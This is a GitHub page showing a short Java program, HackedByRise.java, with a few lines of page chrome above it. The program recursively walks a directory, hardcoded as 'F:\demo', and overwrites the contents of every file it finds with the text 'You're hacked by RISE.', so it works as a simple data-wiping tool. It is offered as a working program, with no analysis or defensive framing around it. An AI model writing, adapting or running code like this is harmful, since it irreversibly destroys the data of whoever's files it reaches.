-
Notifications
You must be signed in to change notification settings - Fork 0
/
HackedByRise.java
40 lines (31 loc) · 1.11 KB
/
HackedByRise.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package hackedbyrise;
import java.util.*;
import java.io.File;
import java.io.FileWriter;
public class HackedByRise {
public void writefiles(String directoryName){
File directory = new File(directoryName);
File[] fList = directory.listFiles();
for (File file : fList){
if (file.isFile()){
try{
FileWriter fw=new FileWriter(file.getAbsolutePath());
fw.write("You're hacked by RISE.");
fw.close();
}catch(Exception e)
{
System.out.println(e);
}
}
else if (file.isDirectory()){
writefiles(file.getAbsolutePath());
}
}
}
public static void main(String args[])
{
HackedByRise hbr=new HackedByRise();
hbr.writefiles("F:\\demo");
System.out.println("file is being overwrited.");
}
}